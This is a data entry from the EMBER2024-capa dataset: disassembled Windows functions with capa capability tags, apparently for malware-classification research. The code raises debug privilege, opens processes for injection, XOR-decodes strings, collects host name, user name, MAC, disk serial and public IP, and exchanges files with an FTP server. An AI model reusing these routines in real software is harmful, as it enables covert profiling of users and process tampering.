joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b410
Capabilities:
Create thread
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x587536
push eax
mov dword fs:[0], esp
sub esp, 0x158
cmp dword [0x6c0794], 1
push esi
jne 0x41b4c5
push 1
push 0x40
push 8
push str.GameGuard_Log.txt
lea ecx, [ebp - 0x164]
call fcn.0040b9f0
lea eax, [ebp - 0x164]
mov dword [ebp - 4], 0
push str._nI_Scan:
push eax
call fcn.0040a540
lea eax, [ebp - 0x164]
push str.Dll_injection_
push eax
call fcn.0040a540
add esp, 0x10
lea ecx, [ebp - 0x160]
call fcn.004096b0
test eax, eax
jne 0x41b4a7
push eax
mov eax, dword [ebp - 0x164]
lea ecx, [ebp - 0x164]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x104]
mov dword [ebp - 4], 0xffffffff
call fcn.0040baf0
lea ecx, [ebp - 0x104]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
cmp dword [0x6c07a4], 1
jne 0x41b5aa
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCR120.dll__time64]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.MSVCR120.dll__localtime64]
add esp, 8
lea ecx, [ebp - 0xbc]
mov esi, eax
push 1
push 0x40
push 8
push 0x58fee4
call fcn.0040b9f0
lea eax, [ebp - 0xbc]
mov dword [ebp - 4], 1
push str._nLocal_Time:
push eax
call fcn.0040a540
push esi
call dword [sym.imp.MSVCR120.dll_asctime]
push eax
lea eax, [ebp - 0xbc]
push eax
call fcn.0040a540
lea eax, [ebp - 0xbc]
push str.I_Scan:
push eax
call fcn.0040a540
lea eax, [ebp - 0xbc]
push str.Dll_injection_
push eax
call fcn.0040a540
lea eax, [ebp - 0xbc]
push str._n__________________
push eax
call fcn.0040a540
add esp, 0x2c
lea ecx, [ebp - 0xb8]
call fcn.004096b0
test eax, eax
jne 0x41b58c
push eax
mov eax, dword [ebp - 0xbc]
lea ecx, [ebp - 0xbc]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
push 2
push 0x58fee4
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x5c]
call fcn.0040baf0
lea ecx, [ebp - 0x5c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [0x6c0798]
push 0
cmp eax, 1
jne 0x41b5dc
push 0
push 0
push 0x41b6b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x41b5ec
push 0
push 0
push 0x41b630
jmp 0x41b5bf
cmp eax, 3
jne 0x41b5fc
push 0
push 0
push 0x425710
jmp 0x41b5bf
cmp eax, 4
jne 0x41b62d
push 0
push 0
push 0x40e7b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x200010
push str.I_Scan
push str.Dll_injection_
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x41b5d4
jmp 0x41b5d6
Function at 0x41c850
Capabilities:
Create thread
Encode data using xor
Set file attributes
Terminate process

Disassembly:
push dword [0x6c06c8]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x41c884
mov ecx, dword [sym.imp.MSVCP120.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x41b730
push dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp fcn.0041c2a0
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
ret
Function at 0x41ed60
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
cmp dword [0x6c07a8], 1
push ebx
push esi
push edi
jne 0x41edfc
movzx eax, word [0x449081]
push eax
lea eax, [ebp - 0x10]
push 0x5948a8
push eax
call dword [sym.imp.MSVCR120.dll_sprintf]
mov dword [ebp - 4], str.A__XE
add esp, 0xc
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x41ede5
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x41eddc
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x41edc3
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x30
push edi
lea eax, [ebp - 0x10]
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 0x7361
cmp word [0x449081], ax
jne 0x41ee13
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0041ea20
int3

Function at 0x41ee60
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x41ee20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x41ee80
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x424e50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x425090
Capabilities:
Acquire debug privileges
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
cmp dword [0x6c07bc], 1
jne 0x4250ad
call fcn.00425590
mov eax, 1
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x4250ca
xor eax, eax
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0xc]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x4250c4
mov eax, dword [ebp - 0xc]
push 0
push 0
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 8]
push 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x1c]
push eax
push 0
push dword [ebp - 4]
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x10], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x4250c4
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4250c4
push 0
push 0
push 0
push 0x424fe0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x425140
Capabilities:
Create thread
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5872bb
push eax
mov dword fs:[0], esp
sub esp, 0xac
cmp dword [0x6c0794], 1
push ebx
push esi
push edi
jne 0x42528e
mov dword [ebp - 0x10], 0x590ba4
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x4251c3
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x4251ba
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x4251a1
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 1
push 0x40
push 8
push edi
lea ecx, [ebp - 0xb8]
call fcn.0040b9f0
mov dword [ebp - 0x10], 0x594030
mov ebx, dword [ebp - 0x10]
mov edi, dword [ebp - 0x10]
add edi, 0x14
mov dword [ebp - 4], 0
cmp byte [ebx + 0x13], 0
je 0x425232
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 0x10], ecx
test esi, esi
je 0x425229
sub edi, ecx
nop
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 0x10]
cmp edx, dword [ebx + 0xf]
jb 0x425210
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
lea eax, [ebp - 0xb8]
push edi
push eax
call fcn.0040a540
push dword [0x6c06e4]
lea eax, [ebp - 0xb8]
push eax
call fcn.0040a540
add esp, 0x10
lea ecx, [ebp - 0xb4]
call fcn.004096b0
test eax, eax
jne 0x42527d
push eax
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb8]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
lea ecx, [ebp - 0x58]
call fcn.0040baf0
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov eax, dword [0x6c0798]
cmp eax, 1
je 0x4252d9
cmp eax, 3
je 0x4252d9
cmp eax, 4
je 0x4252d9
push 0
cmp eax, 2
jne 0x4252cf
push 0
push 0
push 0x4253b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
test eax, eax
jne 0x4252c9
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
push 0
push 0
push 0x425430
jmp 0x4252b2

Function at 0x425560
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
test eax, eax
jne 0x42556e
xor al, al
pop ebp
ret
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x42556a
mov dword [ebp + 8], eax
pop ebp
jmp fcn.004254d0

Function at 0x425590
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x4254b0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x4255d0
Capabilities:
Create thread

Disassembly:
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x426380
push 0
push 0
call esi
push 0
push 0
push 0
push 0x4263a0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x425f50
push 0
push 0
call esi
pop esi
ret
Function at 0x427fe0
Capabilities:
Connect to http server
Create http request
Delete file
Encode data using xor
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
push 0
push 0
push 0
push 1
push 0
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x8000000
push 1
push dword [0x6c0708]
mov dword [ebp - 0xc], eax
push dword [0x6c0704]
push 0x15
push dword [0x6c0700]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 4], 0x5971d4
mov esi, eax
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
mov dword [ebp - 8], esi
cmp byte [ebx + 0x13], 0
je 0x42807d
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x428071
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x428058
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 8]
mov byte [ecx + eax], 0
push 0
push 1
push 0x80
push 1
push 0x5971cc
push edi
push esi
call dword [sym.imp.WININET.dll_FtpGetFileA]
test eax, eax
je 0x4280c0
push 2
push 0x5971cc
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 0xc]
call esi
call fcn.00428f70
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [sym.imp.MSVCR120.dll_remove]
push 0x5971cc
call esi
push 0x5971d0
call esi
add esp, 8
call fcn.00427c60
int3

Function at 0x4280e0
Capabilities:
Capture public ip
Connect to http server
Create http request
Delete file
Read data from internet
Receive data
Send file using ftp

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetOpenA]
push edi
push 0
push 0
push 0
push 1
push 0
call esi
push 0
push 0
push 1
push dword [0x6c0708]
push dword [0x6c0704]
push 0x15
push dword [0x6c0700]
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
push 0
push 0
push 0
push 0
push 0
mov edi, eax
call esi
push 0
push 0x80000000
push 0
push 0
mov ebx, eax
push str.http:__icanhazip.com_
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
test esi, esi
je 0x4281a8
lea eax, [ebp - 4]
push eax
push 0x2f
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [ebp - 4]
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
mov byte [ebp + eax - 0x34], 0
call esi
push 0
push 2
lea eax, [ebp - 0x34]
push eax
push 0x5971d0
push edi
call dword [sym.imp.WININET.dll_FtpPutFileA]
test eax, eax
je 0x428195
push edi
call esi
push ebx
call esi
call fcn.00427fe0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x5971d0
call dword [sym.imp.MSVCR120.dll_remove]
add esp, 4
call fcn.00427c60
call fcn.004282e0
int3
Function at 0x4281b0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58744b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x124
push 0x63
lea eax, [ebp - 0x12f]
mov byte [ebp - 0x130], 0
push 0
push eax
call sub.MSVCR120.dll_memset
add esp, 0xc
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x24]
mov byte [ebp - 0x1b], 0
xorps xmm0, xmm0
mov dword [ebp - 0x10], 0
movq qword [ebp - 0x23], xmm0
push 0xa
push eax
lea eax, [ebp - 0x18]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x14]
mov dword [ebp - 0x18], 0
push eax
lea eax, [ebp - 0x10]
push eax
push 0x64
lea eax, [ebp - 0x130]
push eax
push 0x59721c
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
cmp eax, 1
jne 0x4282c8
push eax
push 0x40
push 8
push 0x5971d0
lea ecx, [ebp - 0xcc]
call fcn.0040b9f0
lea eax, [ebp - 0xcc]
mov dword [ebp - 4], 0
push 0x597218
push eax
call fcn.0040a540
add esp, 8
lea ecx, [ebp - 0xcc]
push dword [ebp - 0x10]
call dword [sym.imp.MSVCP120.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
lea ecx, [ebp - 0xc8]
call fcn.004096b0
test eax, eax
jne 0x4282a4
push eax
mov eax, dword [ebp - 0xcc]
lea ecx, [ebp - 0xcc]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.00429370
lea ecx, [ebp - 0x6c]
call fcn.0040baf0
lea ecx, [ebp - 0x6c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00429450
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x428960
Capabilities:
Encode data using xor
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.MSVCR120.dll_malloc]
push esi
push edi
push 0x14
mov dword [ebp - 4], 4
call ebx
add esp, 4
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x288
call ebx
add esp, 4
push eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
jne 0x428a7c
push dword [ebp - 4]
call ebx
add esp, 4
mov esi, eax
lea eax, [ebp - 4]
mov dword [ebp - 0x10], esi
push eax
push esi
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
jne 0x428a66
mov dword [ebp - 8], 0x597220
mov ebx, dword [ebp - 8]
mov edi, dword [ebp - 8]
add edi, 0x14
cmp byte [ebx + 0x13], al
je 0x428a15
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 8], ecx
test esi, esi
je 0x428a09
sub edi, ecx
mov edi, edi
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 8]
cmp edx, dword [ebx + 0xf]
jb 0x4289f0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov esi, dword [ebp - 0x10]
mov byte [ecx + eax], 0
movzx eax, byte [esi + 0x199]
push eax
movzx eax, byte [esi + 0x198]
push eax
movzx eax, byte [esi + 0x197]
push eax
movzx eax, byte [esi + 0x196]
push eax
movzx eax, byte [esi + 0x195]
push eax
movzx eax, byte [esi + 0x194]
push eax
push edi
mov edi, dword [ebp - 0xc]
push edi
call dword [sym.imp.MSVCR120.dll_sprintf]
add esp, 0x20
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, dword [ebp - 0xc]
push esi
call dword [sym.imp.MSVCR120.dll_free]
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00427810
int3

Function at 0x428a90
Capabilities:
Create thread
Delete file

Disassembly:
push esi
mov esi, dword [sym.imp.MSVCR120.dll_remove]
push 0x5971cc
call esi
push 0x5971d0
call esi
push 0x596e54
call esi
add esp, 0xc
push 0
push 0
push 0
push 0x429310
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
ret
Function at 0x4292f0
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x429230
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret

Function at 0x429370
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x58744b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x10
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
test eax, eax
je 0x429439
push 1
push 0x40
push 8
push 0x5971d0
lea ecx, [ebp - 0xcc]
call fcn.0040b9f0
lea eax, [ebp - 0xcc]
mov dword [ebp - 4], 0
push 0x597218
push eax
call fcn.0040a540
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0xcc]
push eax
call fcn.0040a540
add esp, 0x10
lea ecx, [ebp - 0xc8]
call fcn.004096b0
test eax, eax
jne 0x429415
push eax
mov eax, dword [ebp - 0xcc]
lea ecx, [ebp - 0xcc]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.00429450
lea ecx, [ebp - 0x6c]
call fcn.0040baf0
lea ecx, [ebp - 0x6c]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.00429450
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x429450
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5872bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x110
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0x64
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x429511
push 1
push 0x40
push 8
push 0x5971d0
lea ecx, [ebp - 0xb8]
call fcn.0040b9f0
lea eax, [ebp - 0xb8]
mov dword [ebp - 4], 0
push 0x597218
push eax
call fcn.0040a540
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 0xb8]
push eax
call fcn.0040a540
add esp, 0x10
lea ecx, [ebp - 0xb4]
call fcn.004096b0
test eax, eax
jne 0x4294fb
push eax
mov eax, dword [ebp - 0xb8]
lea ecx, [ebp - 0xb8]
push 2
mov eax, dword [eax + 4]
add ecx, eax
call dword [sym.imp.MSVCP120.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
call fcn.004280e0
lea ecx, [ebp - 0x58]
call fcn.0040baf0
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP120.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x429a90
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x429a50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret
Function at 0x429bf0
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x6c06b0], 0xb7
push ebx
push esi
push edi
jne 0x429d6f
mov eax, dword [0x6c0798]
cmp eax, 1
jne 0x429c82
mov dword [ebp - 4], 0x597388
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x429c66
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x429c5d
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x429c44
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6c0714]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp eax, 2
jne 0x429cfe
mov dword [ebp - 4], str.4g_fZP
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x429ce2
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x429cd9
sub edi, ecx
lea ebx, [ebx]
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x429cc0
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6c0714]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 4], 0x597388
mov ebx, dword [ebp - 4]
mov edi, dword [ebp - 4]
add edi, 0x14
cmp byte [ebx + 0x13], 0
je 0x429d53
mov esi, dword [ebx + 0xf]
lea eax, [esi + 1]
push eax
call dword [sym.imp.MSVCR120.dll_malloc]
add esp, 4
mov ecx, eax
xor edx, edx
mov dword [ebp - 4], ecx
test esi, esi
je 0x429d4a
sub edi, ecx
mov eax, edx
add ecx, edx
and eax, 7
inc edx
mov al, byte [eax + ebx + 7]
xor al, byte [edi + ecx]
mov byte [ecx], al
mov ecx, dword [ebp - 4]
cmp edx, dword [ebx + 0xf]
jb 0x429d31
mov eax, dword [ebx + 0xf]
mov edi, ecx
mov byte [ecx + eax], 0
push 0x200030
push dword [0x6c0714]
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42a080
Capabilities:
Create thread

Disassembly:
push 0
push 0
push 0
push 0x42a4d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret